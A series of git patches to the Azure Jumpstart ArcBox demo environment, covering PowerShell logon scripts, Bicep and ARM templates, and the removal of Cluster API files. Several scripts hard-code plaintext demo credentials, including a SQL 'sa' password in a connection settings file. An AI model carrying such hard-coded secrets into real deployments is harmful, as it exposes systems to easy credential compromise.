76530ec93d..e6b4746350 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -198,8 +198,7 @@ foreach ($cluster in $clusters) { --resource-group $Env:resourceGroup ` --location $Env:azureLocation ` --correlation-id "6038cc5b-b814-4d20-bcaa-0f60392416d5" ` - --kube-config $cluster.kubeConfig ` - --distribution $cluster.distribution + --kube-config $cluster.kubeConfig } catch { <#Do this if a terminating exception happens#> From df5af5878269fa4d01c1d61d3bab5f2e24aeaff1 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 12:04:46 +0300 Subject: [PATCH 490/506] Update DNS CNAME record name to use the provided naming prefix --- azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 2719a0427d..182fee8aa4 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -376,7 +376,7 @@ az sql instance-failover-group-arc create --shared-name ArcBoxDag --name primary Write-Host "`n" $cnameRecord = $sqlInstances[0].instanceName + ".jumpstart.local" -Add-DnsServerResourceRecordCName -Name "ArcBoxDag" -ComputerName $dcInfo.HostName -HostNameAlias $cnameRecord -ZoneName jumpstart.local -TimeToLive 00:05:00 +Add-DnsServerResourceRecordCName -Name "${namingPrefix}Dag" -ComputerName $dcInfo.HostName -HostNameAlias $cnameRecord -ZoneName jumpstart.local -TimeToLive 00:05:00 Write-Header "Creating Azure Data Studio settings for SQL Managed Instance connection with AD Authentication" @@ -384,14 +384,14 @@ Write-Header "Creating Azure Data Studio settings for SQL Managed Instance conne $settingsTemplateFile = "$Env:ArcBoxDir\settingsTemplate.json" $aks = $sqlInstances[1].instanceName + ".jumpstart.local" + ",$sqlmi_port" -$arcboxDag = "ArcBoxDag.jumpstart.local" + ",$sqlmi_port" +$arcboxDag = "${namingPrefix}Dag.jumpstart.local" + ",$sqlmi_port" $sa_username = $env:AZDATA_USERNAME $sa_password = $AZDATA_PASSWORD $dagConnection = @" { "options": { - "connectionName": "ArcBoxDAG", + "connectionName": "${namingPrefix}DAG", "server": "$arcboxDag", "database": "", "authenticationType": "Integrated", From 2c8e38ebae258749ac4f8b5c8b07c75c02bb306a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 12:10:47 +0300 Subject: [PATCH 491/506] Update SQL Server password in DeploySQLMIADAuth.ps1 --- azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 182fee8aa4..585c6c85cf 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -433,7 +433,7 @@ $sqlServerConnection = @" "database": "", "authenticationType": "SqlLogin", "user": "sa", - "password": "ArcDemo123!!", + "password": "JS123!!", "applicationName": "azdata", "groupId": "C777F06B-202E-4480-B475-FA416154D458", "databaseDisplayName": "" From e9bb96947cd616e9ac1262c1fce1fc5439280805 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 12:32:51 +0300 Subject: [PATCH 492/506] remove commented code --- .../artifacts/DevOpsLogonScript.ps1 | 51 ------------------- 1 file changed, 51 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 7b8e211118..3f25eec02f 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -79,12 +79,6 @@ if(-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden)) $Env:AZURE_CONFIG_DIR = $cliDir.FullName -$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s-Data" | Where-Object { $_ -ne "" } -$Env:k3sArcDataClusterName=$Env:k3sArcDataClusterName -replace "`n","" - -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" } -$Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" - # Required for CLI commands Write-Header "Az CLI Login" az login --identity @@ -113,18 +107,6 @@ $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($E $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# # Merging kubeconfig files from ArcBox-K3s-data and ArcBox-K3s -# Write-Header "Merging ArcBox-K3s-data & ArcBox-K3s Kubeconfigs" -# Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" -# $Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" -# kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp -# kubectl config get-clusters --kubeconfig=C:\users\$Env:USERNAME\.kube\config_tmp -# Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -# Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config-k3s" -# Move-Item -Path "C:\Users\$Env:USERNAME\.kube\config_tmp" -Destination "C:\users\$Env:USERNAME\.kube\config" -# $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" -# kubectx - Write-Header "Adding Tools Folder to PATH" [System.Environment]::SetEnvironmentVariable('PATH', $Env:PATH + ";$Env:ToolsDir" ,[System.EnvironmentVariableTarget]::Machine) $Env:PATH += ";$Env:ToolsDir" @@ -414,49 +396,16 @@ foreach ($configName in $configs) { # # - Install Key Vault Extension / Create Ingress # ################################################ -# Write-Header "Installing KeyVault Extension" - -# Write-Host "Generating a TLS Certificate" -# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -# $certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -# Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -# Write-Host "Importing the TLS certificate to Key Vault" -# az keyvault certificate import ` -# --vault-name $Env:keyVaultName ` -# --password "arcbox" ` -# --name $certname ` -# --file "$Env:TempDir\$certname.pfx" - -# Write-Host "Installing Azure Key Vault Kubernetes extension instance" -# az k8s-extension create ` -# --name 'akvsecretsprovider' ` -# --extension-type Microsoft.AzureKeyVaultSecretsProvider ` -# --scope cluster ` -# --cluster-name $Env:k3sArcDataClusterName ` -# --resource-group $Env:resourceGroup ` -# --cluster-type connectedClusters ` -# --release-namespace kube-system ` -# --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - # Replace Variable values Get-ChildItem -Path $Env:ArcBoxKVDir | ForEach-Object { - # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName - # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_KEYVAULTNAME}', $Env:keyVaultName | Set-Content -Path $_.FullName (Get-Content -path $_.FullName -Raw) -Replace '\{JS_HOST}', $certdns | Set-Content -Path $_.FullName - # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:tenantId | Set-Content -Path $_.FullName } Write-Header "Creating Ingress Controller" # Deploy Ingress resources for Bookstore and Hello-Arc App foreach ($namespace in @('bookstore', 'bookbuyer', 'hello-arc')) { - # Create the Kubernetes secret with the service principal credentials - # kubectl create secret generic secrets-store-creds --namespace $namespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret - # kubectl --namespace $namespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true - # Deploy Key Vault resources and Ingress for Book Store and Hello-Arc App kubectl --namespace $namespace apply -f "$Env:ArcBoxKVDir\$namespace.yaml" } From 9fd9e9b680c0251c4441aa082d4324fd6b4f627b Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 12:54:28 +0300 Subject: [PATCH 493/506] chore: Update SQL Server password in DeploySQLMIADAuth.ps1 --- azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 585c6c85cf..e4c4b8cc57 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -279,10 +279,10 @@ $sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { # Create windows account in SQLMI to support AD authentication and grant sysadmin role $podname = "${sqlMIName}-0" - kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P $AZDATA_PASSWORD -Q "CREATE LOGIN [${domain_netbios_name}\$env:adminUsername] FROM WINDOWS" + kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P $AZDATA_PASSWORD -Q "CREATE LOGIN [${domain_netbios_name}\$env:adminUsername] FROM WINDOWS" 2>&1 $null Write-Host "Created Windows user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." - kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P $AZDATA_PASSWORD -Q "EXEC master..sp_addsrvrolemember @loginame = N'${domain_netbios_name}\$env:adminUsername', @rolename = N'sysadmin'" + kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P $AZDATA_PASSWORD -Q "EXEC master..sp_addsrvrolemember @loginame = N'${domain_netbios_name}\$env:adminUsername', @rolename = N'sysadmin'" 2>&1 $null Write-Host "Granted sysadmin role to user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." # Downloading demo database and restoring onto SQL MI From 399357b0784d544d0c68d3840613e2c22b68329f Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 13:08:45 +0300 Subject: [PATCH 494/506] Update default branch name to 'main' in ARM template and Bicep files --- azure_jumpstart_arcbox/ARM/azuredeploy.json | 8 +++++--- azure_jumpstart_arcbox/bicep/main.bicep | 6 ++++-- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/azuredeploy.json b/azure_jumpstart_arcbox/ARM/azuredeploy.json index 38d1957e40..051cd7c93a 100644 --- a/azure_jumpstart_arcbox/ARM/azuredeploy.json +++ b/azure_jumpstart_arcbox/ARM/azuredeploy.json @@ -5,7 +5,7 @@ "_generator": { "name": "bicep", "version": "0.29.47.4906", - "templateHash": "13913810108142988750" + "templateHash": "2738768575994422412" } }, "parameters": { @@ -78,7 +78,7 @@ }, "githubBranch": { "type": "string", - "defaultValue": "arcbox_3.0", + "defaultValue": "main", "metadata": { "description": "Target GitHub branch" } @@ -511,7 +511,7 @@ "name": "ubuntuRancherK3sDataSvcNodesDeployment", "count": "[length(range(0, variables('k3sClusterNodesCount')))]" }, - "condition": "[or(or(equals(parameters('flavor'), 'Full'), equals(parameters('flavor'), 'DataOps')), equals(parameters('flavor'), 'DevOps'))]", + "condition": "[or(equals(parameters('flavor'), 'DataOps'), equals(parameters('flavor'), 'DevOps'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2022-09-01", "name": "[format('ubuntuRancherK3sDataSvcNodesDeployment-{0}', range(0, variables('k3sClusterNodesCount'))[copyIndex()])]", @@ -1704,6 +1704,8 @@ "dependsOn": [ "[resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment')]", "[resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'ubuntuRancherK3sDataSvcDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'ubuntuRancherK3sDeployment')]", "[resourceId('Microsoft.Resources/deployments', 'updateVNetDNSServers')]" ] }, diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 00031f4555..9ca151f481 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -35,7 +35,7 @@ param flavor string = 'ITPro' param githubAccount string = 'microsoft' @description('Target GitHub branch') -param githubBranch string = 'arcbox_3.0' +param githubBranch string = 'main' @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false @@ -103,7 +103,7 @@ module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if ( } } -module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'Full' || flavor == 'DataOps' || flavor == 'DevOps') { +module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'DataOps' || flavor == 'DevOps') { name: 'ubuntuRancherK3sDataSvcNodesDeployment-${i}' params: { sshRSAPublicKey: sshRSAPublicKey @@ -171,6 +171,8 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { } dependsOn: [ updateVNetDNSServers + ubuntuRancherK3sDataSvcDeployment + ubuntuRancherK3sDeployment ] } From aac84652e4baf7fde3c5950eaf6acc6ea37a0729 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 14 Aug 2024 12:14:06 -0400 Subject: [PATCH 495/506] fix k3s login message --- azure_jumpstart_arcbox/artifacts/welcomeK3s.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/welcomeK3s.sh b/azure_jumpstart_arcbox/artifacts/welcomeK3s.sh index 6e440b507b..0aecf0ccec 100644 --- a/azure_jumpstart_arcbox/artifacts/welcomeK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/welcomeK3s.sh @@ -2,7 +2,7 @@ tput setaf 1;echo "------------------------------------------------------------- echo "" tput setaf 6;echo "Welcome to Jumpstart ArcBox Rancher K3s Kubernetes cluster management virtual machine!" echo "" -tput setaf 6;echo "* To check the Rancher K3s deployment log, use the 'cat jumpstart_logs/installK3s.log' command." +tput setaf 6;echo "* To check the Rancher K3s deployment log, use the 'cat jumpstart_logs/installK3s-$(hostname).log' command." echo "" tput setaf 6;echo "* To work with Rancher K3s workload Kubernetes cluster, use the 'kubectl '. For example: kubectl get nodes" echo "" From b1bd47d645dd5010fb8e4c8ef17d9ee14998bf69 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 15 Aug 2024 14:31:48 -0400 Subject: [PATCH 496/506] ArcBox 3.0 - DevOps - Fix k3s vanilla (#2673) * add nodes for k3s deployment * fix k3s cluster reference * Remove CAPI ref * Remove reset bookstore --- .../artifacts/Bootstrap.ps1 | 1 - .../artifacts/DevOpsLogonScript.ps1 | 7 +- .../artifacts/capiStorageClass.yaml | 10 -- .../capz_kustomize/kustomization.yaml | 8 -- .../capz_kustomize/patches/AzureCluster.yaml | 39 -------- .../capz_kustomize/patches/Cluster.yaml | 20 ---- .../patches/KubeadmControlPlane.yaml | 56 ----------- .../artifacts/gitops_scripts/K3sGitOps.ps1 | 98 +------------------ .../artifacts/gitops_scripts/K3sRBAC.ps1 | 3 +- .../gitops_scripts/ResetBookstore.ps1 | 98 ------------------- azure_jumpstart_arcbox/bicep/main.bicep | 19 ++++ 11 files changed, 24 insertions(+), 335 deletions(-) delete mode 100644 azure_jumpstart_arcbox/artifacts/capiStorageClass.yaml delete mode 100644 azure_jumpstart_arcbox/artifacts/capz_kustomize/kustomization.yaml delete mode 100644 azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/AzureCluster.yaml delete mode 100644 azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/Cluster.yaml delete mode 100644 azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml delete mode 100644 azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 1470519c67..3cb2ce8721 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -259,7 +259,6 @@ if ($flavor -eq "DevOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/devops_ingress/hello-arc.yaml") -OutFile $Env:ArcBoxKVDir\hello-arc.yaml Invoke-WebRequest ($templateBaseUrl + "artifacts/gitops_scripts/K3sGitOps.ps1") -OutFile $Env:ArcBoxGitOpsDir\K3sGitOps.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/gitops_scripts/K3sRBAC.ps1") -OutFile $Env:ArcBoxGitOpsDir\K3sRBAC.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/gitops_scripts/ResetBookstore.ps1") -OutFile $Env:ArcBoxGitOpsDir\ResetBookstore.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/arc.ico") -OutFile $Env:ArcBoxIconDir\arc.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/bookstore.ico") -OutFile $Env:ArcBoxIconDir\bookstore.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/devops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\devops.tests.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 3f25eec02f..e917fdab73 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -12,7 +12,6 @@ $namingPrefix = ($Env:namingPrefix).toLower() $ingressNamespace = "ingress-nginx" $Env:AZCOPY_AUTO_LOGIN_TYPE = "MSI" -# $certname = "ingress-cert" $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" @@ -92,7 +91,6 @@ azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERN # Downloading ArcBox-K3s-data log file Write-Header "Downloading $namingPrefix-K3s-data Install Logs" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/*" -$sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" # Downloading ArcBox-K3s cluster kubeconfig file @@ -104,7 +102,6 @@ $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" # Downloading ArcBox-K3s log file Write-Header "Downloading $namingPrefix-K3s Install Logs" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcClusterName.ToLower())/*" -$sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" Write-Header "Adding Tools Folder to PATH" @@ -393,7 +390,7 @@ foreach ($configName in $configs) { } until ($configStatus.ComplianceState -eq "Compliant") } # ################################################ -# # - Install Key Vault Extension / Create Ingress +# Create Ingress # ################################################ # Replace Variable values @@ -406,7 +403,7 @@ Write-Header "Creating Ingress Controller" # Deploy Ingress resources for Bookstore and Hello-Arc App foreach ($namespace in @('bookstore', 'bookbuyer', 'hello-arc')) { - # Deploy Key Vault resources and Ingress for Book Store and Hello-Arc App + # Deploy Ingress for Book Store and Hello-Arc App kubectl --namespace $namespace apply -f "$Env:ArcBoxKVDir\$namespace.yaml" } diff --git a/azure_jumpstart_arcbox/artifacts/capiStorageClass.yaml b/azure_jumpstart_arcbox/artifacts/capiStorageClass.yaml deleted file mode 100644 index a46c5bc1ff..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capiStorageClass.yaml +++ /dev/null @@ -1,10 +0,0 @@ -kind: StorageClass -apiVersion: storage.k8s.io/v1 -metadata: - name: managed-premium -provisioner: disk.csi.azure.com -parameters: - skuname: Premium_LRS -allowVolumeExpansion: true -reclaimPolicy: Delete -volumeBindingMode: WaitForFirstConsumer \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/capz_kustomize/kustomization.yaml b/azure_jumpstart_arcbox/artifacts/capz_kustomize/kustomization.yaml deleted file mode 100644 index 1089fc2265..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capz_kustomize/kustomization.yaml +++ /dev/null @@ -1,8 +0,0 @@ -apiVersion: kustomize.config.k8s.io/v1beta1 -kind: Kustomization -resources: -- https://github.com/kubernetes-sigs/cluster-api-provider-azure/releases/download/CAPI_PROVIDER_VERSION/cluster-template.yaml -patches: -- path: patches/Cluster.yaml -- path: patches/KubeadmControlPlane.yaml -- path: patches/AzureCluster.yaml diff --git a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/AzureCluster.yaml b/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/AzureCluster.yaml deleted file mode 100644 index 9145e77613..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/AzureCluster.yaml +++ /dev/null @@ -1,39 +0,0 @@ -apiVersion: infrastructure.cluster.x-k8s.io/v1beta1 -kind: AzureCluster -metadata: - name: ${CLUSTER_NAME} - namespace: default -spec: - identityRef: - apiVersion: infrastructure.cluster.x-k8s.io/v1beta1 - kind: AzureClusterIdentity - name: ${CLUSTER_IDENTITY_NAME} - location: ${AZURE_LOCATION} - networkSpec: - vnet: - name: ${AZURE_VNET_NAME:=${CLUSTER_NAME}-vnet} - cidrBlocks: - - 10.17.0.0/16 - subnets: - - name: control-plane-subnet - role: control-plane - cidrBlocks: - - 10.17.1.0/24 - securityGroup: - name: ${CLUSTER_NAME}-cp-nsg - securityRules: - - name: "allow_apiserver" - description: "Allow K8s API Server" - direction: "Inbound" - priority: 2201 - protocol: "*" - destination: "*" - destinationPorts: "6443" - source: "*" - sourcePorts: "*" - - name: node-subnet - role: node - cidrBlocks: - - 10.17.2.0/24 - resourceGroup: ${AZURE_RESOURCE_GROUP:=${CLUSTER_NAME}} - subscriptionID: ${AZURE_SUBSCRIPTION_ID} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/Cluster.yaml b/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/Cluster.yaml deleted file mode 100644 index 12a0c24dfa..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/Cluster.yaml +++ /dev/null @@ -1,20 +0,0 @@ -apiVersion: cluster.x-k8s.io/v1beta1 -kind: Cluster -metadata: - labels: - cni: calico - name: ${CLUSTER_NAME} - namespace: default -spec: - clusterNetwork: - pods: - cidrBlocks: - - 192.168.0.0/16 - controlPlaneRef: - apiVersion: controlplane.cluster.x-k8s.io/v1beta1 - kind: KubeadmControlPlane - name: ${CLUSTER_NAME}-control-plane - infrastructureRef: - apiVersion: infrastructure.cluster.x-k8s.io/v1beta1 - kind: AzureCluster - name: ${CLUSTER_NAME} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml b/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml deleted file mode 100644 index 2f18f20c31..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml +++ /dev/null @@ -1,56 +0,0 @@ -apiVersion: controlplane.cluster.x-k8s.io/v1beta1 -kind: KubeadmControlPlane -metadata: - name: ${CLUSTER_NAME}-control-plane - namespace: default -spec: - kubeadmConfigSpec: - clusterConfiguration: - apiServer: - extraArgs: - audit-log-maxage: "30" - audit-log-maxbackup: "10" - audit-log-maxsize: "100" - audit-log-path: /var/log/kube-apiserver/audit.log - audit-policy-file: /etc/kubernetes/audit.yaml - cloud-config: /etc/kubernetes/azure.json - cloud-provider: azure - extraVolumes: - - hostPath: /var/log/kube-apiserver - mountPath: /var/log/kube-apiserver - name: kubeaudit - - hostPath: /etc/kubernetes/audit.yaml - mountPath: /etc/kubernetes/audit.yaml - name: audit-policy - readOnly: true - - hostPath: /etc/kubernetes/azure.json - mountPath: /etc/kubernetes/azure.json - name: cloud-config - readOnly: true - timeoutForControlPlane: 20m - controllerManager: - extraArgs: - allocate-node-cidrs: "false" - cloud-config: /etc/kubernetes/azure.json - cloud-provider: azure - cluster-name: ${CLUSTER_NAME} - extraVolumes: - - hostPath: /etc/kubernetes/azure.json - mountPath: /etc/kubernetes/azure.json - name: cloud-config - readOnly: true - files: - - contentFrom: - secret: - key: control-plane-azure.json - name: ${CLUSTER_NAME}-control-plane-azure-json - owner: root:root - path: /etc/kubernetes/azure.json - permissions: "0644" - - contentFrom: - secret: - key: audit.yaml - name: audit - owner: root:root - path: /etc/kubernetes/audit.yaml - permissions: "0644" \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 9f5e73f813..c1e718897e 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -3,14 +3,13 @@ $Env:ToolsDir = "C:\Tools" $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" -and $_ -notmatch "-Data-" } $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $namingPrefix = $Env:namingPrefix $k3sNamespace = "hello-arc" $ingressNamespace = "ingress-nginx" -# $certname = "k3s-ingress-cert" $certdns = "arcbox.k3sdevops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" @@ -89,100 +88,7 @@ foreach ($configName in $configs) { } until ($configStatus.ComplianceState -eq "Compliant") } -# ################################################ -# # - Install Key Vault Extension / Create Ingress -# ################################################ - -# Write-Host "Generating a TLS Certificate" -# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -# $certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -# Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -# Write-Host "Importing the TLS certificate to Key Vault" -# az keyvault certificate import ` -# --vault-name $Env:keyVaultName ` -# --password "arcbox" ` -# --name $certname ` -# --file "$Env:TempDir\$certname.pfx" - -# Write-Host "Installing Azure Key Vault Kubernetes extension instance" -# az k8s-extension create ` -# --name 'akvsecretsprovider' ` -# --extension-type Microsoft.AzureKeyVaultSecretsProvider ` -# --scope cluster ` -# --cluster-name $Env:k3sArcClusterName ` -# --resource-group $Env:resourceGroup ` -# --cluster-type connectedClusters ` -# --release-namespace kube-system ` -# --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - -# # Create the Kubernetes secret with the service principal credentials -# kubectl create secret generic secrets-store-creds --namespace $k3sNamespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret -# kubectl --namespace $k3sNamespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true - -# # Deploy SecretProviderClass 